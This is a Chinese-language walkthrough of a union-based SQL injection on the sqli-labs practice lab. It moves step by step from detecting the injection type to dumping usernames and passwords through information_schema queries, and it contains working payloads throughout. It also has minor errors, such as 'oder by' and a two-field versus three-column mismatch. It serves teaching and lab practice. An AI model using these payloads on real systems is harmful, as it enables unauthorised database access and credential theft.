目录
注入类型
判断字段数
确定回显点
查找数据库名
查找数据库表名
查询字段名
获取想要的数据
以sqli-labs靶场上的简单SQL注入为例
注入类型
判断是数字类型还是字符类型
常见的闭合方式
?id=1'、?id=1"、?id=1')、?id=1")等,大多都是单引号、双引号、括号的组合。
先尝试下字符型输入:?id=1'and 1=1#或者?id=1'and 1=1--+
(如果是字符型,可以用#或者--+或者%23注释掉单引号)
如果?id=1没有回显,那么输入?id=1 or 1=1(数字型)那么肯定会回显,输入?id=1' or 1=1--+(字符型)也肯定会回显(过滤字符可能不是--+,也可能是别的),但是用?id=1 and 1=1,或者?id=1' and 1=1--+不一定回显
再试下:?id=1' and 1=2--+
没有回显
证明是字符型输入,
回显是指页面有数据信息返回。无回显是指根据输入的语句,页面没有任何变化或者没有数据库中的内容显示到网页中。
如果是数字型输入,那么就可以正常输入:1
如何判断是字符型还是数字型呢,有一种方法:
数字型:
- 1 and 1=1 //能回显
- 1 and 1=2 //不能回显
字符型:
- 1' and 1=1# //能回显
- 1' and 1=2# //不能回显
判断字段数
判断字段数 order by
分四次输入:1' and 1=1 oder by 1--+ 1' and 1=1 oder by 2--+ 1' and 1=1 oder by 3--+ 1' and 1=1 oder by 4--+
前两次都是正常回显,第三次报错,显示没有第三列,说明只有两个字段
确定回显点
输入:1' and 1=1 union select 1,2,3--+
发现1,2,3三个数没有一个回显,
因为第一个查询语句把后面的给挡住了,所以要把第一个查询语句失效
可以输入:1' and 1=2 union select 1,2,3--+ 或者-1' union select 1,2,3--+
2,3的位置成功回显 。2,3都可以是注入点
就是可以更改这些点对应的相对的输入位置可以得到不同的输出;
查找数据库名
输入:-1' union select 1,2,database()--+
得到对应的数据库名字:security
查找数据库表名
输入:-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+
得到表名:emails,但是在这个数据库中可能不止一个表,所以我们要得到所有表,而不只是一个emails表
输入:-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
在mysql的关联查询或子查询中,函数 group_concat(arg) 可以合并多行的某列(或多列)数据为一行,默认以逗号分隔。
所以我们可以将tables表里面的所有tables_name表名合并成一行输出
显然我们想要的是users表
查询字段名
我们会用到上面图片中的column表
输入:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
users表下的字段数很多,显然易见,我们想要获取的只是账号密码,所以,对我们有用的是username和password字段
获取想要的数据
输入:-1' union select 1,2,group_concat(username,'-',password) from users --+
成功得到对应的账号密码